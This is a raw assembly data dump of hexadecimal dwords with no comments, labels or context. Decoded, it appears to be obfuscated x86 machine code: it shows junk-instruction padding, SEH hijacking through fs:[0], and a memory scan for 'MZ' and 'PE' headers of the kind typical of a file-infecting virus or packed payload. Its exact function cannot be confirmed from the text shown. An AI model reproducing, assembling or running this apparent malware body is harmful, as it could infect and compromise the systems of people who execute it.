		dd 1480h, 0EE800h, 3A00000h, 0CAFA384Bh, 518E6E26h, 1D708E9Fh
		dd 0FF8D8B5Fh, 0E9FFFFFFh, 0Ah,	2330C52Ah, 0CCAEAFA7h
		dd 0E183CE29h, 1D840F01h, 0F000000h, 0A583F8B7h, 0FFFFFFFFh
		dd 1A5CBFFEh, 95896E39h, 4947554Ch, 0E9FA8B66h,	0
		dd 0D1F2B58Dh, 952905EEh, 5EA2B0Dh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0A0849BC3h
		dd 0B412DBA4h, 4885E381h, 95FF1FB0h, 5EA1015h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 73C35040h, 71F6363Bh
		dd 0FEBF66EBh, 0FB2B978h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0E18377C3h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0E1B352D0h, 0DF9FE8D2h, 0F58D8965h, 0FC05EA2Fh, 2BDAB70Fh
		dd 659589C0h, 0BA05EA1Dh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 54C35545h
		dd 0B589983Ah, 5EA0699h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 28E0Fh, 0D88A0000h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 5EC35141h, 0CCA0DC21h, 880D1Bh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 29DE87C3h, 0ADD958Bh, 9D8B05EAh, 5EA0369h, 0ACD8D8Bh
		dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 424B9DC3h, 0C28B5072h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6658188Bh, 6AFE8Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0C8BD97C3h, 888443A4h
		dd 89072CCAh, 0EA2C699Dh, 19BD8305h, 5EA08h, 17840Fh, 0B8F90000h
		dd 0
		dd 0A918589h, 8D8D05EAh, 5EA4C21h, 0FFFBB70Fh, 0F5BD83E1h
		dd 5EA25h, 4A3840Fh, 0D3810000h, 734244C1h, 25F5BD83h
		dd 0F0105EAh, 4AB84h, 5D8D8900h, 8305EA09h, 0EA25F5BDh
		dd 860F0305h, 462h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0A3C35040h, 0CAB442Dh, 32E59529h, 0AE905EAh
		dd 0F9000000h, 0C3BE1255h, 0AD9C7597h, 0E8B4BFA9h, 6A607CA6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0F54BC352h, 6C1A3CB9h, 530A221Fh,	3F27A9BFh
		dd 0B5895B4Fh, 5EA2905h, 6AD98C66h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 66A8C357h
		dd 22BC6EBFh, 0A5BD8B2Bh, 8005EA05h, 0C90A04E1h, 104840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 6F0E22C3h, 15EBE437h, 0D98B6633h,	1629858Bh
		dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BD8B93C3h, 5EA1E0Dh, 15358533h, 14E805EAh
		dd 0BF000000h, 0FE5BFF01h, 0A8743141h, 9E427F89h, 0FFAF3E07h
		dd 9D25539h, 0EA139DB5h, 0B3505B05h, 240489DEh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6CC35545h, 0AF442136h
		dd 0BA7BFE5h, 6AF9C7h, 0C64CD0BFh, 7EC5682Bh, 0F606530h
		dd 38Ah, 0FA8B6600h, 24348161h,	652F7D3Ah, 5E9h, 5ED52200h
		dd 95FFD119h, 5EA320Dh,	89DEBF0Fh, 0EDD9E085h, 41B58905h
		dd 0E905EA2Ch, 21Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 93C35343h, 1DA093EFh,	858B98EDh, 5EDD9D8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0ECC35242h
		dd 0E9CC1FF6h, 0Dh, 0ECDBEE1Fh,	3D39D7B8h, 0EA714778h
		dd 870F9Fh, 0C7000000h,	1800h, 8BF88B00h, 0EDD9DCB5h, 6820F05h
		dd 8B000000h, 0EA2E8DBDh, 0E5858B05h, 6A05EA29h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0FEE4C353h, 0DE99A394h, 0BD89560Bh, 5EA301Dh, 6A06895Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0E9E4C357h, 97FD85F8h, 65AB2B3Fh,	1BC59D8Bh
		dd 8BF905EAh, 0EA1739BDh, 29858B05h, 6005EA16h,	0A7DB58Bh
		dd 5E805EAh, 35000000h,	0FB609246h, 2301B533h, 615B05EAh
		dd 60044689h, 5EB1EA81h, 816178EDh, 0B04EEAE3h,	13E8502Dh
		dd 2B000000h, 105DF2C8h, 0D7F0661Fh, 0ACEF181h,	0B2793B4Ch
		dd 5060111Ch, 5A310F52h, 0DE8B6658h, 34895F61h,	1858924h
		dd 0FF05EA08h, 0EDD9D8B5h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 33FCC626h
		dd 2E2A6815h, 0CE935EFh, 0BE000000h, 6CC6966Eh,	0BF6FC62Bh
		dd 8125B1C1h, 2DD52434h, 6A35F0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 82C2EDC3h, 0F56F36Ah
		dd 289h, 0E9F98B00h, 11h, 110717CCh, 4F9AD8CDh,	0B893273Eh
		dd 0A1F0C024h, 0E0858D08h, 0FC05EDD9h, 0D88B6690h, 66525050h
		dd 310FDE8Bh, 8B665250h, 0E8310FF8h, 11h, 5417B308h, 0F76D6D33h
		dd 0A8126788h, 5B0C23E7h, 585A5FB5h, 8B90585Ah,	0D95FFD8h
		dd 6A05EA32h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0AA30C351h, 3EAF7771h,	6A6187h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0DB2878C3h, 0BB6611D6h, 8F0FACD4h, 6, 141D8531h, 85C705EAh
		dd 5EA25F5h, 3,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0CFC35545h, 0E5523A76h,	0DE8h, 0B6671C00h, 8D022D89h
		dd 4CF3C8B2h, 9D89D1B2h, 5EA14C1h, 0E0BD835Fh, 5EDD9h
		dd 40840Fh, 0BD8B0000h,	5EA11EDh, 3141BD8Bh, 4AE905EAh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0DF11C356h, 796EEBA7h,	0E1BD8960h
		dd 8905EA31h, 0EA11098Dh, 30506105h, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BB666310h
		dd 6A43C5h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 9C2863C3h, 0BE151CD6h, 33534BFCh,	0EA29BDBDh
		dd 0BD835B05h, 5EA25F5h, 0F9850F03h, 8B000003h,	0EA2AA1BDh
		dd 0E0BD8305h, 5EDD9h, 3E6840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8D896AC3h
		dd 5EA2C41h, 0D9E0B5FFh, 6A05EDh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 6E5E4C3h, 0FF0A5B3Bh
		dd 0EA128D95h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8BA906F3h, 0EDD9D4B5h
		dd 62CB8105h, 0C77277A1h, 1000106h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 7072DACh, 647B8181h
		dd 0E853E0FDh, 7, 0DFE6B63Ah, 8B8D19A2h, 965F5FDFh, 0B350F98Bh
		dd 6A9665h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 72B3F5C3h, 0B59BC557h, 0C870F21h,	0F000000h
		dd 682h, 119D8B00h, 0FF05EA0Bh,	0EDD9E0B5h, 0E9958905h
		dd 0FF05EA16h, 0EA326995h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 9B169B10h
		dd 782AC62Ch, 8BF8301Ah, 0EDD9D4B5h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1595726h, 3A39FAD1h
		dd 0BD89680Bh, 5EA0771h, 881858Bh, 860F05EAh, 2, 8689FA8Bh
		dd 0C4h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	9FC35040h, 0ADD958Bh, 8B6605EAh, 4C283F9h, 14BD8589h
		dd 508905EAh, 358D3120h, 0F05EA06h, 684h, 81B53100h, 8D05EA07h
		dd 0EDEB6785h, 0DB58905h, 8905EA2Ch, 0B886h, 0FBB70F00h
		dd 0B70F006Ah, 0E0B5FFDBh, 0E905EDD9h, 0Bh, 0D7450D1Eh
		dd 9649183Ch, 0FF1CAEBFh, 0EA163D95h, 29B79605h, 6A9650h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8509A2C3h, 5EA2B7Dh,	8E8h, 0A32E1D00h, 766037BBh, 0B5FF5FA5h
		dd 5EDD9E0h, 0A995FFFCh, 5005EA15h, 5BDA8B66h, 0FA8B6660h
		dd 2AC9BD8Bh, 836105EAh, 0EA115DBDh, 840F0005h,	79h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C5C35343h, 37B0F705h
		dd 965959BFh, 11E9h, 44C63E00h,	6426C0CAh, 17D114FEh, 92D63AB2h
		dd 0F5054D0h, 288h, 96DF8B00h, 0E850006Ah, 3, 58C35820h
		dd 4244489h
		dd 4244481h, 14h, 6BC35040h, 14E9h, 0D67B2B00h,	72D7CB71h
		dd 75743C53h, 0EFF6FC5Bh, 1DAAC45Ch, 0E0B5FFFFh, 6A05EDD9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0C715C350h, 63380AB2h, 0DC6C1144h, 88B0Fh
		dd 89500000h, 0EA08318Dh, 0BF0F5F05h, 0C995FFDAh, 8905EA1Ch
		dd 0EA0799B5h, 0E0B5FF05h, 6A05EDD9h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 89B4C356h
		dd 9C19F383h, 0FBDCFD1h, 8Ch, 0E8B0F00h, 60000000h, 0E999D8Bh
		dd 9D0105EAh, 5EA1A41h,	0D95FF61h, 6A05EA23h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 908AC350h, 2D958951h, 5F05EA08h, 631BD83h, 0F0205EAh
		dd 5384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 98D8952h,	8B05EA1Ah, 0EA0C9585h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 2DB8B21Dh, 2499B589h, 0B70F05EAh, 0C6FBh
		dd 97D85C7h, 5EAh, 9D890000h, 5EA1E79h,	0FFF385E9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 7BC62F66h, 6AC18B23h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 6EC4C351h, 0BAFCh
		dd 0EA81F00Eh, 0F0000000h, 8914C283h, 0EA0FF195h, 14EA8305h
		dd 67A2858Dh, 645005EFh, 35FFh,	89640000h, 25h,	0E800h
		dd 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h,	1285h
		dd 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h
		dd 1000h, 0FFFFD9E9h, 89C88BFFh, 0EA30A985h, 3C400305h
		dd 650B70Fh, 13959589h,	508B05EAh, 0B1958950h, 505EA16h
		dd 0F8h, 30C508Bh, 2D9589D1h, 305EA13h,	95890850h, 5EA0279h
		dd 58F64h, 83000000h, 13E904C4h, 51000000h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 0BD83C3C0h, 5EA29F5h
		dd 24840F00h, 0C6000000h, 0EA1A4585h, 0D2684705h, 0FFD49AA7h
		dd 0EA238DB5h, 0A0858D05h, 0FF05EDAFh, 0FF006AD0h, 618589D0h
		dd 8B05EA1Ah, 12E8D3h, 415D0000h, 0A8660796h, 0F7D963FBh
		dd 8A9F2DD4h, 0EAEC132h, 0FD69F681h, 0E95F6118h, 0Dh, 0CAD46E0Ch
		dd 0CD974BF0h, 0CFC3368Eh, 54C781FFh, 0E9000068h, 0Ch
		dd 0CBEFBBBBh, 0DEF0F7C5h, 54B4255Ch, 4A8B43BAh, 0A7F28163h
		dd 66634A92h, 0FF177BBBh, 2810F37h, 8B000000h, 0CE959DEh
		dd 0AB000000h, 0B7365AE1h, 0E4C4A642h, 81203F66h, 0FFEAF8F1h
		dd 0C181F907h, 455F9EBFh, 12791ABEh, 0D0E98111h, 603D12C6h
		dd 5810Fh, 0EFBE0000h, 8A550040h, 0E95161ECh, 11h, 49069375h
		dd 0F7E0D5E4h, 98F7FD25h, 5BDF956Ch, 0F078F1Eh,	0EF83C0B7h
		dd 0C3816601h, 4F4FCE6Fh, 1EA814Fh, 0F000000h, 0FFFF8A85h
		dd 8D8DF8FFh, 5EF695Dh,	89BEF380h, 0EA0ADD8Dh, 0DEBF0F05h
		dd 13840Fh, 0EE90000h, 0B1000000h, 0FBBE7A2Dh, 3BEC2CA9h
		dd 0E522D59h, 0CD85C7DFh, 0F005EA0Ah, 6A000067h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 2C7FC353h, 0EC1B4CEAh, 85C7AEF8h, 5EA25F5h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A3C35646h
		dd 358B5E0h, 0B5FFF9C3h, 5EA3151h, 50EA8166h, 0DBD8B52h
		dd 0FF05EA2Dh, 0EA2A1995h, 9D9D2305h, 6A05EA11h, 1595FF00h
		dd 8B05EA10h, 0E65AEBC0h, 1C4E783Eh, 2B2F81EDh,	0E60084FBh
		dd 9A3725F1h, 46642E44h, 586EA8E3h, 5CA94B52h, 0BAF30E7Eh
		dd 4CC0709Bh, 4EEA6669h, 5BF6103Eh, 5773CF67h, 69634BBCh
		dd 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh, 0E787E3Eh, 724C3385h
		dd 69122ECAh, 0EFDE15BCh, 29A4FE74h, 6BC3B2F6h,	0BC8D8D34h
		dd 6A05EF6Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0DCCC351h, 0E8910F1Bh,	0Dh, 846F05EDh
		dd 0BDDA4904h, 0AF79EE2Dh, 51952300h, 5F05EA2Ch, 0ADD8D89h
		dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 441CD7C3h, 3880FB8h, 66000000h, 85C7F78Bh
		dd 5EA0ACDh, 7338h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 36C35545h, 0B58B4D23h, 5EA1685h, 25F585C7h
		dd 5EAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 150424h, 52420000h, 668C47C3h, 0B5FFF28Bh, 5EA0C29h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BC35040h
		dd 0B68E4D4Eh, 0FFF88112h, 0EA2A1995h, 0D998B805h, 6A7549h
		dd 101595FFh, 0C08B05EAh, 0F7896AEBh, 6D4C84h, 36599269h
		dd 0E0F31C34h, 0A8EA7025h, 0B1A539AFh, 6342E241h, 32B99316h
		dd 85FB8A2Eh, 8305895Eh, 720FA68Fh, 562944BBh, 0F5A63570h
		dd 3E338FB6h, 0B7D5D523h, 93689F9Bh, 0F4FD108Bh, 0B8881287h
		dd 2C4FF843h, 50D47C1Ah, 0EB417897h, 0C36522F0h, 0C17A5E04h
		dd 0DB6259A6h, 31727DE0h, 8A452EC7h, 1331E6C0h,	0FE8h
		dd 61B60F00h, 99ECAA2Dh, 0D5A8F051h, 37A2C50Ch,	0E95A2FB3h
		dd 11h,	4ADC0323h, 0A675415Ah, 0FFD74EB5h, 5000BE51h, 0C0C28163h
		dd 0E9000062h, 0Bh, 2BA125B3h, 4326A925h, 0B8D40C8Eh, 0
		dd 0A9950B60h, 8005EA14h, 8B614EC2h, 0C9800234h, 6AF681F1h
		dd 312FBA2Dh, 0EA0AE185h, 3BC68105h, 6638D20Ch,	81C335BFh
		dd 96E5EFC6h, 0E58D2369h, 5605EA20h, 0A359D8Bh,	48F05EAh
		dd 48E0F02h, 53000000h,	895F6160h, 0EA0F39B5h, 1E88305h
		dd 89484848h, 0EA0FD18Dh, 24F88105h, 0FFFFF9Eh,	2185h
		dd 8D8B6000h, 5EA0B4Dh,	3D98DBAh, 2EE96160h, 0AA000000h
		dd 0D8E139B3h, 5C1DC9BEh, 541F0E92h, 8C0F497Bh,	6, 1DA59501h
		dd 74E905EAh, 5AFFFFFFh, 2B3858Eh, 272884E3h, 56EC796Dh
		dd 1297F75Dh, 9274D0C8h, 97F425BEh, 979D1A65h, 0CFBE7935h
		dd 0D317E4F6h, 0D31F5A11h, 97882B11h, 0C7DE9735h, 0D0F2A9F6h
		dd 844758B6h, 0E29EF7DFh, 7223FA3Ch, 979B561Bh,	0C4CE4741h
		dd 9426EFBEh, 1E9E9731h, 7D93B2B0h, 62036830h, 689B1EE8h
		dd 14C622E6h, 7DB05988h, 80EA5E30h, 94267C65h, 1E9E9731h
		dd 7D93B2B0h, 73036830h, 689B1EEFh, 1EC622E6h, 7D8C89A0h
		dd 41215130h, 97F4EFBEh, 979D7F60h, 0CABECB35h,	0FB17B8F6h
		dd 0D31FF611h, 978A7D11h, 0C2DBBC35h, 0A178BF6h, 92742D18h
		dd 1F3266B4h, 1BF8DDD2h, 4429EAEDh, 1391F69Dh, 979E7A4Ah
		dd 0F5F44EB4h, 2A1D4A4Eh, 92741E88h, 0B81A9835h, 7F9ECB35h
		dd 979EE525h, 8D732549h, 0DE4444A6h, 0CCD3A175h, 0EF790961h
		dd 9798A53Ah, 12179735h, 9274C0F0h, 82036E6Ch, 7E9B1816h
		dd 979E7A0Ah, 97203B83h, 0F19C5E12h, 0D147C4B4h, 344212B8h
		dd 9977CED8h, 0D9EE535h, 637D40E3h, 0A062D3A8h,	2F7B62DEh
		dd 0BE4EA183h, 7DB70688h, 91199830h, 1C9ECB35h,	7D841CA0h
		dd 985E7730h, 979EBFB1h, 5E030335h, 0AF1F637Eh,	6C1F4962h
		dd 97AA123Ah, 97F4CB35h, 979D0D62h, 0C8BEF235h,	0EB1726F6h
		dd 0D31FB811h, 97895A11h, 0C0D92F35h, 864ADCF6h, 0F60340A9h
		dd 259B0F37h, 0EF1F944Dh, 989C7B31h, 979C51B1h,	16F8A635h
		dd 98FEB30Dh, 979EE1B0h, 7A6E7235h, 0EF1EC155h,	12911A37h
		dd 979E7952h, 7FCFBC5Fh, 979E5E36h, 0CE5D7615h,	93BADBBCh
		dd 93BA8FB4h, 979EE520h, 715DA374h, 3E237099h, 0F19B5621h
		dd 979826B4h, 0AF1B209Eh, 989E9735h, 979ECEB1h,	5D1F8335h
		dd 477630Dh, 0FD9E7937h, 9476EB35h, 0B79E5E35h,	1EC1EC6Ah
		dd 169AB349h, 8D9AEF71h, 0D09EE535h, 6D6A3162h,	0E9D777Bh
		dd 0DE2B354Bh, 299BB423h, 0D19F2E35h, 98C70ABEh, 1213CEDFh
		dd 927346E9h, 720B7B55h, 7E9B9323h, 979EBC38h, 8F5BDC0Ah
		dd 0A27F636Dh, 36D69E68h, 4761AAC5h, 7FC9E55Fh,	979EF236h
		dd 0C85D2615h, 93BAC0BCh, 93BA1AB4h, 979E2F2Ch,	385DC072h
		dd 494CCC37h, 985E60BBh, 979F10B1h, 0A213F035h,	169B5616h
		dd 95A3380Dh, 0D71B2037h, 969E9735h, 7D921280h,	91E66430h
		dd 0EDC1CF53h, 966EFD3Ah, 97F4BC35h, 979DB665h,	0CFBE2F35h
		dd 0D317CFF6h, 0D31FCF11h, 9787E111h, 0C7DEF235h, 269A55F6h
		dd 1CD1CDA7h, 7D8CF788h, 3A030630h, 0F19B7D3Ch,	0F702F3B4h
		dd 97D3603Ah, 0EF1EF235h, 12919137h, 979EBC76h,	7FCC5E5Fh
		dd 979E2F36h, 0CD5DCD15h, 93BA9FBCh, 93BAA1B4h,	979EF229h
		dd 155D2B77h, 7A5CBA0Fh, 0A8E78022h, 79BFDCB4h,	16F8D624h
		dd 579ECD4Dh, 9793603Ah, 4D15F235h, 979F08DCh, 0C7473D35h
		dd 29C68183h, 0E99F2E35h, 7FCD975Fh, 979ECB36h,	0CC5DBE15h
		dd 93BAAEBCh, 93BA3DB4h, 979EBC23h, 0C55D0D76h,	1213144Ch
		dd 927334E9h, 476114BEh, 7FCFE55Fh, 979EF236h, 0CE5D2015h
		dd 93BAF0BCh, 93BA1AB4h, 979E2F21h, 215DC674h, 0B86346BEh
		dd 16F8E0DFh, 12002DC6h, 4B1A76F5h, 0FD9EBC35h,	94760B35h
		dd 0B79E2F35h, 1EC35468h, 169AEF59h, 8B9AC171h,	0D29EF235h
		dd 0E53EBA60h, 2CC32303h, 968B148Ch, 7D9BD6A0h,	7FA61730h
		dd 97DB4E3Ah, 9D77E535h, 1E9EF235h, 0BB74F587h,	1F7B9292h
		dd 92E6DE70h, 0BB1B2046h, 0BC9E9735h, 7D8BF2A0h, 90E66530h
		dd 241AFD66h, 0F79E7935h, 97985455h, 0F3865E35h, 34C0308Dh
		dd 2A231E6Eh, 0F69B213Eh, 8577501Ch, 0F1FFF7DFh, 921141B4h
		dd 97C7393Ah, 0A9F5E35h, 927407C4h, 0FF98EFB5h,	97D74E3Ah
		dd 1A15E535h, 9274FC98h, 9CE6F853h, 129199CAh, 979E5E02h
		dd 0B2E8618Ah, 97FE7E4Ch, 8777CB35h, 0AA9EE535h, 0C1BF6A87h
		dd 2D9AA60Dh, 9B789953h, 7E8BBF19h, 979E2F26h, 0FE0E19CAh
		dd 1EC1BA37h, 0F138541h, 4B72CDF7h, 2F1A3BA8h, 979EBC35h
		dd 7FC95E5Fh, 979E2F36h, 0C85DC815h, 93BAB7BCh,	93BAA1B4h
		dd 979EF222h, 0F25D2E72h, 0F11F57F5h, 0E61DBDB4h, 7E51983Ah
		dd 979E973Ah, 962627BFh, 989EE535h, 979EF0BBh, 0C740F335h
		dd 5CEBCD8Eh, 0B39AD700h, 1A61903Ah, 78F28F88h,	25134630h
		dd 2F9B0A45h, 0E0F8A716h, 0BE47FC36h, 58B5B9DFh, 2E3529F4h
		dd 975FE99Fh, 0CB367FCDh, 0BE15979Eh, 0AEBCCC5Dh, 3DB493BAh
		dd 832393BAh, 0A4F305E9h, 6A94B258h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2F0CC352h
		dd 8B661AB5h, 0FC00BF9h, 6884h,	0B5315700h, 5EA1A4Dh, 21B58D5Bh
		dd 6605EA4Ch, 851CE381h, 3B8h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0A2655B5Ch
		dd 8BBBDA97h, 0EA024195h, 2B9BBF05h, 0E6FF0818h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 78C35747h, 0B1FE8B3Bh
		dd 12E84077h, 41000000h, 24A33116h, 7A88948Dh, 2D466CBh
		dd 4216E0EEh, 0FD95890Fh, 5905EA28h, 8D0FC08Bh,	1, 0D9BD83F8h
		dd 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h, 0B8C08B53h
		dd 403h, 7698589h, 9D8D05EAh, 5ECDE5Ch,	585BD3FFh, 2EE5BD83h
		dd 740005EAh, 0B8535017h, 403h,	7698589h, 9D8D05EAh, 5ECDAFDh
		dd 585BD3FFh, 0AE9h, 0A77D5F00h, 0A9C47159h, 6A35EAE7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 78F8C351h, 6009AAF8h, 1B718501h, 61F505EAh
		dd 29118589h, 0C08B05EAh, 2859D2Bh, 8D6105EAh, 0EF73288Dh
		dd 8E805h, 0AF540000h, 9911BB35h, 8B669B8Ch, 8D8958F7h
		dd 5EA0ADDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	4DC35646h, 0B5293CB4h, 5EA1CC1h, 0ACD85C7h, 6EBC05EAh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 573ABDC3h, 0DCDDEF7Dh, 0DFBF0F1Ch, 25F585C7h
		dd 5EAh, 0EA810000h, 436EAD7Fh,	12E852h, 27C10000h, 906537Ch
		dd 99CB7383h, 7ECAA2F6h, 7B0C436Ch, 11B5958Bh, 5A5B05EAh
		dd 2CBDB5FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0B4545AC3h, 0AECC6565h, 9D8B6033h
		dd 5EA2381h, 75B529h, 0FF6105EAh, 0EA2A1995h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FC8A9A25h, 0AC98589h, 6A05EAh, 101595FFh, 0C08B05EAh
		dd 0AE9518EBh, 4D20C59Ah, 6F0043C0h, 7A420349h,	0ECFC79DDh
		dd 70223DEBh, 0CE8BE21h, 0ED000000h, 0AC10346Ah, 96191DB4h
		dd 310E20Fh, 0EA232DB5h, 81F95905h, 66DAC1h, 0DB33F900h
		dd 0D90CB866h, 89193C8Bh, 0EA067185h
		dd 0F9EF8105h, 8B02C093h, 0EA02AD95h, 0C3EF8105h, 51692547h
		dd 2EE18533h, 815E05EAh, 1A5AF8F7h, 49850309h, 8905EA1Bh
		dd 0B589193Ch, 5EA248Dh, 8E8h, 38B03200h, 7E53F4E9h, 25958B3Bh
		dd 5E05EA01h, 2A03EB81h, 0BA6629B9h, 0C3816B5Dh, 29B929FFh
		dd 5F68166h, 0D8FB81C0h, 0FFFFF99h, 1685h, 0F0BF0F00h
		dd 20E9h, 0AF6C8A00h, 5A42239Dh, 0C6EFC049h, 0FAD1B3Bh
		dd 75E9C3B7h, 72FFFFFFh, 0DEB38189h, 3CE809BDh,	712ADEBBh
		dd 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h
		dd 265AF198h, 3C76EF5Eh, 4E603072h, 0A5E4FFB4h,	5BEF867h
		dd 0A3BEA372h, 23DEFC38h, 0A3BA7967h, 23D9F891h, 0FC6D71Bh
		dd 29333072h, 2633831Dh, 36B6C098h, 763649ECh, 5231D615h
		dd 0D963AC77h, 0CC1FDD0Dh, 2664839Dh, 23593598h, 52211F15h
		dd 0AB634877h, 0C947A41Dh, 0B3CC039Dh, 23D9B869h, 0A23C1493h
		dd 26336AA1h, 5221B015h, 0CE639F77h, 26334DAAh,	0A3BEF6D8h
		dd 23DC2780h, 34B624C8h, 76363BECh, 2A5AFF67h, 0E2B03072h
		dd 34B61794h, 7636A2ECh, 52312315h, 0D9635677h,	0CC1FA00Dh
		dd 26513D9Dh, 0AD666A98h, 74646474h, 2E4E11CEh,	24DA8DABh
		dd 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h
		dd 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah
		dd 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch
		dd 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h
		dd 2637A851h, 52338815h, 0ABBE9F77h, 23DC38ADh,	9320h
		dd 0E7FC7800h, 7310271h, 0C783C8D0h, 850F4904h,	0FFFFFFF2h
		dd 7535B58Dh, 8D8D05EFh, 5EF7554h, 0E983CF2Bh, 0E8C88B05h
		dd 8, 0FE2723B0h, 0C8762D75h, 8E95Fh, 4D830000h, 21D29071h
		dd 0C7816188h, 636Eh, 0E5374B8h, 0FCDB2B6Ah, 661F0C8Bh
		dd 0CAABCA81h, 81D5C181h, 0B5293313h, 5EA1C21h,	4BD3C181h
		dd 8E931D8h, 0F9000000h, 0CB03205Bh, 819C9E09h,	0F1CC1EE9h
		dd 52EA8165h, 51420B2Ch, 1109B58Bh, 48F05EAh, 0E953F51Fh
